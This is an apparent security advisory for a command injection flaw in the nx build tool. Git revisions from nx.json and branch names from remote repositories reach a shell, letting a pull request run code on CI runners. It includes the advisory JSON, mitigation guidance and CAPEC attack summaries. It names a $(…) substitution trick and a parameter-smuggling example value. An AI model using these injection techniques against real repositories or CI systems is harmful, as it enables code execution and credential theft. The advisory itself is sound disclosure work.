| Package | Vulnerable | Patched |
|---|---|---|
nx |
>= 14.0.0, < 22.7.8; >= 23.0.0, < 23.1.1 |
22.7.8, 23.1.1 |
Treat every version below the patched ones as affected.
Remediation
Upgrade to 22.7.8 (22.x line) or 23.1.1 (23.x line) or later:
nx migrate 23.1.1
The fix is a drop-in — no configuration changes are required. If you cannot upgrade, treat nx.json from untrusted sources as executable content, do not run affected commands against pull requests you have not reviewed, and do not run nx import against repositories you do not trust.
Details
affected commands
Nx computes the merge base and the changed-file set by building git merge-base and git diff command lines as strings and running them through a shell. The base and head revisions in those strings come from nx.json's defaultBase / affected.defaultBase or from the NX_BASE / NX_HEAD environment variables, and a related code path reads file contents with git show <revision>:<path> the same way. Because a shell parses the whole line, a revision value containing shell syntax is executed rather than passed to git.
The revisions are wrapped in double quotes, which looks protective but is not: POSIX shells still perform command substitution inside double quotes, so a value of $(…) runs without needing to break out of the quotes.
nx import
The GitRepository helper runs every git operation — fetch, checkout, reset, config, and others — by interpolating its arguments into a shell command string. The untrusted argument is a branch name: nx import lists the branches a remote advertises, offers them to the user to choose from, and feeds the chosen name back into those commands. A hostile repository controls the names of its own branches, so it controls the command that runs when one is selected.
Credits
- Arkadiusz Marta (RE:SOURCE) — Reporter
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nx"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "22.7.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "nx"
},
"ranges": [
{
"events": [
{
"introduced": "23.0.0"
},
{
"fixed": "23.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:29:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nNx core builds several `git` invocations as shell command strings with untrusted values interpolated into them, so a value that should be a git revision or ref is parsed by `/bin/sh` instead. Two entry points are reachable by an attacker: `affected` commands, where `defaultBase` / `affected.defaultBase` from `nx.json` (and the `NX_BASE` / `NX_HEAD` environment variables) reach `git merge-base` and `git diff`; and `nx import`, where a branch name advertised by a remote repository reaches `git fetch`, `git checkout`, and `git config`. In both cases an attacker who controls a repository \u2014 or who opens a pull request against one \u2014 gets arbitrary command execution on the machine of anyone who runs an ordinary Nx command against it, including CI runners.\n\nThe `affected` path is the more serious of the two. `nx affected` and `nx show projects --affected` run constantly in CI, so a pull request that changes nothing but `nx.json` is enough to execute code on the runner with whatever credentials that job holds.\n\n## Severity\n\nExploitable by anyone who controls repository content \u2014 a fork\u0027s pull request, or a repository the victim clones \u2014 that the victim then runs an ordinary `nx affected` or `nx import` against; no access to the victim\u0027s machine is required. We have no evidence of exploitation in the wild.\n\n## Affected \u0026 Patched Versions\n\n| Package | Vulnerable | Patched |\n| --- | --- | --- |\n| `nx` | `\u003e= 14.0.0, \u003c 22.7.8`; `\u003e= 23.0.0, \u003c 23.1.1` | `22.7.8`, `23.1.1` |\n\nTreat every version below the patched ones as affected.\n\n## Remediation\n\nUpgrade to **22.7.8** (22.x line) or **23.1.1** (23.x line) or later:\n\n```\nnx migrate 23.1.1\n```\n\nThe fix is a drop-in \u2014 no configuration changes are required. If you cannot upgrade, treat `nx.json` from untrusted sources as executable content, do not run `affected` commands against pull requests you have not reviewed, and do not run `nx import` against repositories you do not trust.\n\n## Details\n\n### `affected` commands\n\nNx computes the merge base and the changed-file set by building `git merge-base` and `git diff` command lines as strings and running them through a shell. The base and head revisions in those strings come from `nx.json`\u0027s `defaultBase` / `affected.defaultBase` or from the `NX_BASE` / `NX_HEAD` environment variables, and a related code path reads file contents with `git show \u003crevision\u003e:\u003cpath\u003e` the same way. Because a shell parses the whole line, a revision value containing shell syntax is executed rather than passed to `git`.\n\nThe revisions are wrapped in double quotes, which looks protective but is not: POSIX shells still perform command substitution inside double quotes, so a value of `$(\u2026)` runs without needing to break out of the quotes.\n\n### `nx import`\n\nThe `GitRepository` helper runs every git operation \u2014 `fetch`, `checkout`, `reset`, `config`, and others \u2014 by interpolating its arguments into a shell command string. The untrusted argument is a branch name: `nx import` lists the branches a remote advertises, offers them to the user to choose from, and feeds the chosen name back into those commands. A hostile repository controls the names of its own branches, so it controls the command that runs when one is selected.\n\n\n## Credits\n\n- **Arkadiusz Marta** (RE:SOURCE) \u2014 Reporter",
"id": "GHSA-w2vw-w76x-qr89",
"modified": "2026-10-05T23:29:06Z",
"published": "2026-10-05T23:29:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/security/advisories/GHSA-w2vw-w76x-qr89"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/pull/36348"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/pull/36379"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/commit/11ab38573478172109bb5306cb30ca4af246caf0"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/commit/4159295a037fdbd8e7f44a33a19d85ab3792415b"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/commit/9ce184a04d2098a4797c8b0d6877ee079b751abf"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/commit/c12850ce7b364db08e325c13541641d754db7123"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/commit/cd9b3c068e17adc9c1722b35b9ca962b98542c20"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/commit/cf996496bbad727362d48292b50fafc8c3665847"
},
{
"type": "PACKAGE",
"url": "https://github.com/nrwl/nx"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/releases/tag/22.7.8"
},
{
"type": "WEB",
"url": "https://github.com/nrwl/nx/releases/tag/23.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Nx: OS command injection via git revisions and remote refs"
}
Mitigation
Strategy: Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
Mitigation
Strategy: Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
Mitigation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.